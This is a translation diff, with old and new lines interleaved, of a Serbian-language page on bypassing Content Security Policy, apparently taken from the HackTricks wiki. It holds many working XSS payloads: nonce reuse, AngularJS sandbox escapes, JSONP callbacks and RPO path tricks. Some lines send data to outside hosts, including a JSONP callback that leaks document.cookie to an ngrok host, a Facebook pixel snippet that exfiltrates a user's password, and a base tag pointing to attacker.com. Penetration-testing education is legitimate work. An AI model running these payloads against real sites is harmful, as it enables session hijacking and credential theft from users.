- **frame-ancestors**: Navodi koji izvori mogu ugraditi trenutnu stranicu, primenljivo na elemente kao što su `<frame>`, `<iframe>`, `<object>`, `<embed>` i `<applet>`.
|
||||
- **img-src**: Definiše dozvoljene izvore za slike.
|
||||
- **font-src**: Specifikuje validne izvore za fontove učitane pomoću `@font-face`.
|
||||
- **manifest-src**: Definiše dozvoljene izvore manifest fajlova aplikacija.
|
||||
- **font-src**: Specifikuje validne izvore za fontove učitane korišćenjem `@font-face`.
|
||||
- **manifest-src**: Definiše dozvoljene izvore za manifest fajlove aplikacija.
|
||||
- **media-src**: Definiše dozvoljene izvore za učitavanje medijskih objekata.
|
||||
- **object-src**: Definiše dozvoljene izvore za `<object>`, `<embed>`, i `<applet>` elemente.
|
||||
- **base-uri**: Specifikuje dozvoljene URL-ove za učitavanje pomoću `<base>` elemenata.
|
||||
- **object-src**: Definiše dozvoljene izvore za elemente `<object>`, `<embed>` i `<applet>`.
|
||||
- **base-uri**: Navodi dozvoljene URL-ove za učitavanje pomoću `<base>` elemenata.
|
||||
- **form-action**: Navodi validne endpoint-e za slanje formi.
|
||||
- **plugin-types**: Ograničava mime tipove koje stranica može pozvati.
|
||||
- **upgrade-insecure-requests**: Upućuje browsere da prerade HTTP URL-ove u HTTPS.
|
||||
- **plugin-types**: Ograničava MIME tipove koje stranica može pozvati.
|
||||
- **upgrade-insecure-requests**: Nalaže browserima da prepišu HTTP URL-ove u HTTPS.
|
||||
- **sandbox**: Primjenjuje ograničenja slična sandbox atributu `<iframe>`-a.
|
||||
- **report-to**: Specifikuje grupu kojoj će biti poslat report ako je politika prekršena.
|
||||
- **worker-src**: Specifikuje validne izvore za Worker, SharedWorker, ili ServiceWorker skripte.
|
||||
- **prefetch-src**: Specifikuje validne izvore za resurse koji će biti fetched ili prefetched.
|
||||
- **navigate-to**: Ograničava URL-ove na koje dokument može navigirati bilo kojim sredstvima (a, form, window.location, window.open, itd.)
|
||||
- **report-to**: Navodi grupu kojoj će izveštaj biti poslat ako je politika prekršena.
|
||||
- **worker-src**: Navodi validne izvore za Worker, SharedWorker ili ServiceWorker skripte.
|
||||
- **prefetch-src**: Navodi validne izvore za resurse koji će biti dohvaćeni ili prefetch-ovani.
|
||||
- **navigate-to**: Ograničava URL-ove ka kojima dokument može navigirati na bilo koji način (a, form, window.location, window.open, itd.)
|
||||
|
||||
### Izvori
|
||||
|
||||
- `*`: Dozvoljava sve URL-ove osim onih sa `data:`, `blob:`, `filesystem:` shemama.
|
||||
- `*`: Dozvoljava sve URL-ove osim onih sa šemama `data:`, `blob:`, `filesystem:`.
|
||||
- `'self'`: Dozvoljava učitavanje sa iste domene.
|
||||
- `'data'`: Dozvoljava učitavanje resursa putem data sheme (npr. Base64 enkodirane slike).
|
||||
- `'none'`: Blokira učitavanje iz bilo kog izvora.
|
||||
- `'unsafe-eval'`: Dozvoljava korišćenje `eval()` i sličnih metoda, ne preporučuje se zbog bezbednosnih razloga.
|
||||
- `'unsafe-hashes'`: Omogućava specifične inline event handler-e.
|
||||
- `'unsafe-inline'`: Dozvoljava korišćenje inline resursa kao što su inline `<script>` ili `<style>`, ne preporučuje se zbog bezbednosti.
|
||||
- `'nonce'`: Bela lista za specifične inline skripte koristeći kriptografski nonce (broj koji se koristi jednom).
|
||||
- Ako imate ograničeno izvršavanje JS-a, moguće je dobiti korišćeni nonce unutar stranice pomoću `doc.defaultView.top.document.querySelector("[nonce]")` i potom ga ponovo upotrebiti za učitavanje maliciozne skripte (ako se koristi strict-dynamic, bilo koji dozvoljeni izvor može učitati nove izvore tako da ovo nije potrebno), kao u:
|
||||
- `'data'`: Dozvoljava učitavanje resursa preko data šeme (npr. Base64 enkodirane slike).
|
||||
- `'none'`: Blokira učitavanje sa bilo kog izvora.
|
||||
- `'unsafe-eval'`: Dozvoljava upotrebu `eval()` i sličnih metoda; nije preporučljivo iz bezbednosnih razloga.
|
||||
- `'unsafe-hashes'`: Omogućava specifične inline event handlere.
|
||||
- `'unsafe-inline'`: Dozvoljava upotrebu inline resursa kao što su inline `<script>` ili `<style>`; nije preporučljivo iz bezbednosnih razloga.
|
||||
- `'nonce'`: Whitelist za specifične inline skripte koje koriste kriptografski nonce (broj koji se koristi jednom).
|
||||
- Ako imate ograničeno izvršavanje JS-a, moguće je dobiti korišćeni nonce unutar stranice pomoću `doc.defaultView.top.document.querySelector("[nonce]")` i zatim ga ponovo iskoristiti za učitavanje maliciozne skripte (ako se koristi strict-dynamic, bilo koji dozvoljeni izvor može učitavati nove izvore pa ovo nije potrebno), kao u:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Učitavanje skripte ponovnim korišćenjem nonce-a</summary>
|
||||
<summary>Učitaj skriptu ponovnim korišćenjem nonce-a</summary>
|
||||
```html
|
||||
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
|
||||
<img
|
||||
@ -88,15 +88,15 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```
|
||||
</details>
|
||||
|
||||
- `'sha256-<hash>'`: Dozvoljava skripte koje imaju određeni sha256 hash.
|
||||
- `'strict-dynamic'`: Dozvoljava učitavanje skripti sa bilo kog izvora ako su prethodno odobrene nonce-om ili hash-om.
|
||||
- `'host'`: Navodi određeni host, na primer `example.com`.
|
||||
- `'sha256-<hash>'`: Dozvoljava skripte sa specifičnim sha256 hash-om.
|
||||
- `'strict-dynamic'`: Dozvoljava učitavanje skripti sa bilo kog izvora ako su odobrene putem nonce-a ili hash-a.
|
||||
- `'host'`: Navodi specifičan host, kao npr. `example.com`.
|
||||
- `https:`: Ograničava URL-ove na one koji koriste HTTPS.
|
||||
- `blob:`: Dozvoljava učitavanje resursa sa Blob URL-ova (npr. Blob URL-ovi kreirani putem JavaScript).
|
||||
- `filesystem:`: Dozvoljava učitavanje resursa iz datotečnog sistema.
|
||||
- `'report-sample'`: Uključuje uzorak kršećeg koda u izveštaj o kršenju (korisno za otklanjanje grešaka).
|
||||
- `'strict-origin'`: Slično 'self' ali osigurava da nivo bezbednosti protokola izvora odgovara dokumentu (samo sigurni origin-i mogu učitavati resurse sa sigurnih origin-a).
|
||||
- `'strict-origin-when-cross-origin'`: Šalje pune URL-ove za same-origin zahteve, ali šalje samo origin za cross-origin zahteve.
|
||||
- `blob:`: Dozvoljava učitavanje resursa sa Blob URL-ova (npr. Blob URL-ovi kreirani putem JavaScript-a).
|
||||
- `filesystem:`: Dozvoljava učitavanje resursa iz filesystem-a.
|
||||
- `'report-sample'`: Uključuje uzorak koda koji krši pravilo u izveštaju o kršenju (korisno za otklanjanje grešaka).
|
||||
- `'strict-origin'`: Slično 'self', ali osigurava da nivo sigurnosti protokola izvora odgovara dokumentu (samo sigurni origin-i mogu učitavati resurse iz sigurnih origin-a).
|
||||
- `'strict-origin-when-cross-origin'`: Šalje pune URL-ove za zahteve unutar istog origin-a, ali pri cross-origin zahtevu šalje samo origin.
|
||||
- `'unsafe-allow-redirects'`: Dozvoljava učitavanje resursa koji će odmah preusmeriti na drugi resurs. Ne preporučuje se jer slabi bezbednost.
|
||||
|
||||
## Nesigurna CSP pravila
|
||||
@ -105,7 +105,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||
```
|
||||
Funkcionalan payload: `"/><script>alert(1);</script>`
|
||||
Radni payload: `"/><script>alert(1);</script>`
|
||||
|
||||
#### self + 'unsafe-inline' putem Iframes
|
||||
|
||||
@ -117,7 +117,7 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
|
||||
### 'unsafe-eval'
|
||||
|
||||
> [!CAUTION]
|
||||
> Ovo ne radi, za više informacija [**pogledajte ovo**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
|
||||
> Ovo ne radi, za više informacija [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
@ -127,7 +127,7 @@ Radni payload:
|
||||
```
|
||||
### strict-dynamic
|
||||
|
||||
Ako na neki način uspete da naterate **allowed JS code created a new script tag** u DOM sa vašim JS kodom — pošto ga kreira dozvoljeni script — **new script tag will be allowed to be executed**.
|
||||
Ako na neki način uspeš da nateraš allowed script da u DOM kreira **allowed JS code created a new script tag** koji sadrži tvoj JS kod, tada će se **new script tag will be allowed to be executed**.
|
||||
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
@ -154,21 +154,21 @@ Radni payloads:
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
Ako možete otpremiti JS fajl, možete zaobići ovu CSP:
|
||||
Ako možete да отпремите JS fajl, можете заобићи овај CSP:
|
||||
|
||||
Radni payload:
|
||||
Working payload:
|
||||
```html
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
Međutim, vrlo je verovatno da server **validira otpremljenu datoteku** i da će vam dozvoliti da **otpremite samo određene tipove fajlova**.
|
||||
Međutim, vrlo je verovatno da server **validira otpremljenu datoteku** i da će ti dozvoliti samo da **otpremiš određene tipove datoteka**.
|
||||
|
||||
Štaviše, čak i ako biste mogli da otpremite **JS kod unutar** fajla koristeći ekstenziju koju server prihvata (npr. _script.png_) to neće biti dovoljno, jer neki serveri, kao apache server, **select MIME type of the file based on the extension** i pregledači poput Chrome će **reject to execute Javascript** kod unutar nečega što bi trebalo da bude slika. "Srećom", postoje greške. Na primer, iz CTF-a sam naučio da **Apache doesn't know** ekstenziju _**.wave**_, te je ne servira sa **MIME type like audio/***.
|
||||
Štaviše, čak i ako bi mogao da otpremiš **JS code unutar** datoteke koristeći ekstenziju koju server prihvata (npr. _script.png_), to neće biti dovoljno jer neki serveri, kao apache, **biraju MIME type datoteke na osnovu ekstenzije**, a browseri poput Chrome će **odbiti da izvrše Javascript** kod unutar nečega što bi trebalo da bude slika. "Srećom", prave se greške. Na primer, iz CTF-a sam naučio da **Apache ne prepoznaje** ekstenziju _**.wave**_, pa je ne servira sa **MIME type** kao audio/*.
|
||||
|
||||
Ako pronađete XSS i mogućnost upload-a fajla, i uspete da nađete **pogrešno interpretiranu ekstenziju**, možete pokušati da otpremite fajl sa tom ekstenzijom koji sadrži sadržaj skripte. Ili, ako server proverava ispravan format otpremljene datoteke, napravite polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
|
||||
U tom slučaju, ako nađeš XSS i opciju za otpremanje fajlova, i uspeš da pronađeš **pogrešno interpretiranu ekstenziju**, možeš pokušati da otpremiš datoteku sa tom ekstenzijom koja sadrži sadržaj skripta. Ili, ako server proverava ispravan format otpremljene datoteke, napravi polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Form-action
|
||||
|
||||
Ako nije moguće injektovati JS, i dalje možete pokušati da, na primer, eksfiltrujete kredencijale **ubacivanjem form action** (i možda očekujući da password manageri automatski popune lozinke). Možete pronaći [**primer u ovom izveštaju**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Takođe, imajte na umu da `default-src` ne pokriva form actions.
|
||||
Ako nije moguće injektovati JS, i dalje možeš pokušati da izvučeš, na primer, kredencijale ubacivanjem form action-a (i možda računajući na to da će password managers automatski popuniti lozinke). Možeš pronaći [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Takođe, imaj na umu da `default-src` ne pokriva form actions.
|
||||
|
||||
### Third Party Endpoints + ('unsafe-eval')
|
||||
|
||||
@ -177,7 +177,7 @@ Ako nije moguće injektovati JS, i dalje možete pokušati da, na primer, eksfil
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||
```
|
||||
Učitaj ranjivu verziju angular i izvrši proizvoljan JS:
|
||||
Učitaj ranjivu verziju angular i izvrši proizvoljni JS:
|
||||
```xml
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
||||
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
||||
@ -201,7 +201,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
#### Payloads koji koriste Angular + biblioteku sa funkcijama koje vraćaju `window` objekat ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
> [!TIP]
|
||||
> Post pokazuje da možete **učitati** sve **biblioteke** sa `cdn.cloudflare.com` (ili bilo kog drugog dozvoljenog JS libraries repo), izvršiti sve dodate funkcije iz svake biblioteke i proveriti **koje funkcije iz kojih biblioteka vraćaju `window` objekat**.
|
||||
> Članak pokazuje da možete **učitati** sve **biblioteke** sa `cdn.cloudflare.com` (ili bilo kojeg drugog dozvoljenog JS libraries repo), izvršiti sve dodate funkcije iz svake biblioteke, i proveriti **koje funkcije iz kojih biblioteka vraćaju `window` objekat**.
|
||||
```html
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||||
@ -225,15 +225,15 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
{{[].erase.call().alert('xss')}}
|
||||
</div>
|
||||
```
|
||||
Angular XSS iz naziva klase:
|
||||
Angular XSS iz imena klase:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
</div>
|
||||
```
|
||||
#### Zloupotreba google recaptcha JS code
|
||||
#### Zloupotreba google recaptcha JS koda
|
||||
|
||||
Prema [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) možete zloupotrebiti [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) unutar CSP-a da izvršite proizvoljni JS code zaobilaženjem CSP-a:
|
||||
Prema [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) možete zloupotrebiti [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) unutar CSP-a da izvršite proizvoljan JS kod i zaobiđete CSP:
|
||||
```html
|
||||
<div
|
||||
ng-controller="CarouselController as c"
|
||||
@ -267,15 +267,15 @@ Sledeći URL preusmerava na example.com (iz [here](https://www.landh.tech/blog/2
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
Zloupotreba \*.google.com/script.google.com
|
||||
Zlouporaba \*.google.com/script.google.com
|
||||
|
||||
Moguće je zloupotrebiti Google Apps Script kako bi se primile informacije na stranici unutar script.google.com. Kao što je [prikazano u ovom izveštaju](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
||||
Moguće je zloupotrebiti Google Apps Script da bi se primile informacije na stranici unutar script.google.com. Kao što je [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
||||
|
||||
### Endpointi trećih strana + JSONP
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
Scenariji poput ovog, gde je `script-src` postavljen na `self` i određeni domen koji je whitelisted, mogu se zaobići korišćenjem JSONP. JSONP endpoints dozvoljavaju insecure callback methods koje napadaču omogućavaju izvođenje XSS-a, working payload:
|
||||
Scenariji poput ovog, gde je `script-src` podešen na `self` i određeni domen koji je whitelisted, mogu se zaobići korišćenjem JSONP-a. JSONP endpoints dozvoljavaju nesigurne callback metode koje omogućavaju napadaču da izvede XSS, radni payload:
|
||||
```html
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
@ -289,26 +289,26 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
```html
|
||||
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
|
||||
```
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **sadrži spremne za upotrebu JSONP endpoint-e za CSP bypass različitih sajtova.**
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **sadrži spremne JSONP endpoint-e za CSP bypass različitih web sajtova.**
|
||||
|
||||
Ista ranjivost će se pojaviti ako **trusted endpoint sadrži Open Redirect** jer ako je početni endpoint trusted, redirects su takođe trusted.
|
||||
Ista ranjivost će se pojaviti ako **trusted endpoint contains an Open Redirect**, jer ako je početni endpoint pouzdan, redirecti se smatraju pouzdanim.
|
||||
|
||||
### Zloupotrebe trećih strana
|
||||
|
||||
Kao što je opisano u [sledećem postu](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), postoji mnogo domena trećih strana koje mogu biti dozvoljene u CSP-u i koje se mogu zloupotrebiti za exfiltrate data ili izvršavanje JavaScript koda. Neki od ovih su:
|
||||
Kao što je opisano u [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), postoji mnogo domena trećih strana koji mogu biti dozvoljeni negde u CSP-u i mogu se zloupotrebiti da exfiltrate data ili execute JavaScript code. Neki od tih third-parties su:
|
||||
|
||||
| Entitet | Dozvoljeni domen | Mogućnosti |
|
||||
| ----------------- | -------------------------------------------- | ----------- |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
| ----------------- | -------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
|
||||
Ako pronađete bilo koji od dozvoljenih domena u CSP-u vašeg cilja, velike su šanse da možete izvesti CSP bypass registracijom na third-party servisu i ili exfiltrate data na taj servis ili izvršiti kod.
|
||||
Ako pronađete bilo koji od dozvoljenih domena u CSP-u vašeg cilja, velike su šanse da ćete moći zaobići CSP tako što ćete se registrovati na third-party service i ili exfiltrate data na taj servis ili execute code.
|
||||
|
||||
Na primer, ako pronađete sledeći CSP:
|
||||
```
|
||||
@ -318,41 +318,41 @@ ili
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
Treba da budete u mogućnosti da exfiltrate data, slično kao što je oduvek rađeno sa [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). U ovom slučaju, pratite sledeće opšte korake:
|
||||
You should be able to exfiltrate data, similarly as it has always be done with [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). In this case, you follow these general steps:
|
||||
|
||||
1. Kreirajte Facebook Developer nalog ovde.
|
||||
2. Kreirajte novu aplikaciju "Facebook Login" i izaberite "Website".
|
||||
3. Idite na "Settings -> Basic" i preuzmite svoj "App ID"
|
||||
4. Na ciljnom sajtu sa kog želite exfiltrate data, možete to uraditi direktnim korišćenjem Facebook SDK gadget-a "fbq" kroz "customEvent" i data payload.
|
||||
5. Idite u App "Event Manager" i izaberite aplikaciju koju ste kreirali (napomena: event manager se može naći u URL-u sličnom ovom: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||||
6. Izaberite tab "Test Events" da vidite događaje koje šalje "vaš" web site.
|
||||
1. Kreirajte Facebook Developer account ovde.
|
||||
2. Kreirajte novu "Facebook Login" app i izaberite "Website".
|
||||
3. Idite na "Settings -> Basic" i dobijte vaš "App ID"
|
||||
4. Na ciljnom sajtu sa kojeg želite exfiltrate data, možete exfiltrate data direktno koristeći Facebook SDK gadget "fbq" kroz "customEvent" i data payload.
|
||||
5. Idite u vaš App "Event Manager" i izaberite aplikaciju koju ste kreirali (napomena: event manager se može naći na URL-u sličnom ovom: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||||
6. Izaberite tab "Test Events" da vidite evente koje šalje "vaš" web site.
|
||||
|
||||
Zatim, na victim strani, izvršite sledeći kod da inicijalizujete Facebook tracking pixel tako da pokazuje na attacker's Facebook developer account app-id i pošaljete custom event ovako:
|
||||
Then, on the victim side, you execute the following code to initialize the Facebook tracking pixel to point to the attacker's Facebook developer account app-id and issue a custom event like this:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
As for the other seven third-party domains specified in the previous table, there are many other ways you can abuse them. Refer to the previously [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) for additional explanations about other third-party abuses.
|
||||
Što se tiče ostalih sedam domena trećih strana navedenih u prethodnoj tabeli, postoji mnogo drugih načina na koje ih možete zloupotrebiti. Pogledajte prethodni [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) za dodatna objašnjenja o drugim zloupotrebama domena trećih strana.
|
||||
|
||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
Pored pomenute redirekcije koja služi za bypass ograničenja putanja, postoji još jedna tehnika nazvana Relative Path Overwrite (RPO) koja se može koristiti na nekim serverima.
|
||||
Pored prethodno pomenutog preusmeravanja koje služi za bypass ograničenja putanja, postoji još jedna tehnika nazvana Relative Path Overwrite (RPO) koja se može koristiti na nekim serverima.
|
||||
|
||||
For example, if CSP allows the path `https://example.com/scripts/react/`, it can be bypassed as follows:
|
||||
Na primer, ako CSP dozvoljava putanju `https://example.com/scripts/react/`, moguće je izvršiti bypass na sledeći način:
|
||||
```html
|
||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||
```
|
||||
Pregledač će na kraju učitati `https://example.com/scripts/angular/angular.js`.
|
||||
The browser will ultimately load `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Ovo radi zato što za pregledač učitavate fajl nazvan `..%2fangular%2fangular.js` koji se nalazi pod `https://example.com/scripts/react/`, što je u skladu sa CSP.
|
||||
Ovo funkcioniše zato što za browser učitavate fajl nazvan `..%2fangular%2fangular.js` koji se nalazi pod `https://example.com/scripts/react/`, što je u skladu sa CSP.
|
||||
|
||||
Zatim će ga dešifrovati, efektivno zahtevajući `https://example.com/scripts/react/../angular/angular.js`, što je ekvivalentno `https://example.com/scripts/angular/angular.js`.
|
||||
Zatim, oni će ga dekodirati, efektivno zahtevajući `https://example.com/scripts/react/../angular/angular.js`, što je ekvivalentno `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
By **exploiting this inconsistency in URL interpretation between the browser and the server, the path rules can be bypassed**.
|
||||
|
||||
Rešenje je da se ne tretira `%2f` kao `/` na serverskoj strani, obezbeđujući dosledno tumačenje između pregledača i servera kako bi se izbegao ovaj problem.
|
||||
Rešenje je da se `%2f` ne tretira kao `/` na server-side, obezbeđujući konzistentno tumačenje između browser-a i servera kako bi se izbegao ovaj problem.
|
||||
|
||||
Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
@ -365,33 +365,31 @@ Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.
|
||||
|
||||
### missing **base-uri**
|
||||
|
||||
Ako direktiva **base-uri** nedostaje, možete je zloupotrebiti da izvršite [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
|
||||
Ako je direktiva **base-uri** odsutna, možete je iskoristiti za izvođenje a [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
Štaviše, ako **stranica učitava skriptu koristeći relativnu putanju** (kao `<script src="/js/app.js">`) i koristi **Nonce**, možete zloupotrebiti **base** **tag** da natjerate da se skripta **učita** sa **vašeg servera**, postižući XSS.\
|
||||
Ako se ranjiva stranica učitava preko **httpS**, koristite httpS url u base.
|
||||
Štaviše, ako **page is loading a script using a relative path** (like `<script src="/js/app.js">`) koristeći **Nonce**, možete zloupotrebiti **base** **tag** da naterate da se skripta **load** sa **your own server achieving a XSS.**\
|
||||
Ako je ranjiva stranica učitana preko **httpS**, koristite httpS url u base.
|
||||
```html
|
||||
<base href="https://www.attacker.com/" />
|
||||
```
|
||||
### AngularJS događaji
|
||||
### AngularJS events
|
||||
|
||||
Specifična politika poznata kao Content Security Policy (CSP) može ograničiti JavaScript događaje. Ipak, AngularJS uvodi prilagođene događaje kao alternativu. Unutar događaja, AngularJS obezbeđuje jedinstveni objekat `$event`, koji referencira izvorni browser event objekat. Ovaj `$event` objekat može biti iskorišćen da zaobiđe CSP.
|
||||
Specifična politika poznata kao Content Security Policy (CSP) može ograničiti JavaScript događaje. Ipak, AngularJS uvodi prilagođene događaje kao alternativu. Unutar događaja, AngularJS obezbeđuje jedinstveni objekat `$event`, koji predstavlja nativni objekat događaja pretraživača. Ovaj `$event` objekat može biti iskorišćen da bi se zaobišla CSP. Značajno, u Chrome-u, `$event/event` objekat poseduje atribut `path`, koji sadrži niz objekata uključenih u lanac izvršavanja događaja, pri čemu je objekat `window` uvek na kraju. Ova struktura je ključna za sandbox escape taktike.
|
||||
|
||||
Posebno u Chrome-u, `$event/event` objekat poseduje `path` atribut, koji sadrži niz objekata uključenih u lanac izvršenja događaja, pri čemu je objekat `window` uvek na kraju. Ova struktura je ključna za sandbox escape taktike.
|
||||
|
||||
Preusmeravanjem ovog niza na filter `orderBy`, moguće je iterirati kroz njega i iskoristiti terminalni element (objekat `window`) da pozove globalnu funkciju kao što je `alert()`. Prikazani kod ispod ilustruje ovaj proces:
|
||||
Usmeravanjem ovog niza na `orderBy` filter, moguće je iterirati preko njega i iskoristiti poslednji element (objekat `window`) da pozove globalnu funkciju kao `alert()`. Prikazani kod ispod ilustruje ovaj proces:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
Ovaj isječak ističe upotrebu `ng-focus` direktive za pokretanje događaja, koristeći `$event.path|orderBy` za manipulaciju nizom `path`, i oslanjajući se na `window` objekat da izvrši `alert()` funkciju, čime se otkriva `document.cookie`.
|
||||
Ovaj primer ističe upotrebu `ng-focus` direktive da pokrene događaj, koristeći `$event.path|orderBy` za manipulaciju nizom `path`, i oslanjajući se na objekat `window` da izvrši `alert()` funkciju, čime se otkriva `document.cookie`.
|
||||
|
||||
**Pronađite druge Angular bypasses na** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
### AngularJS i domen na beloj listi
|
||||
### AngularJS i whitelisted domain
|
||||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
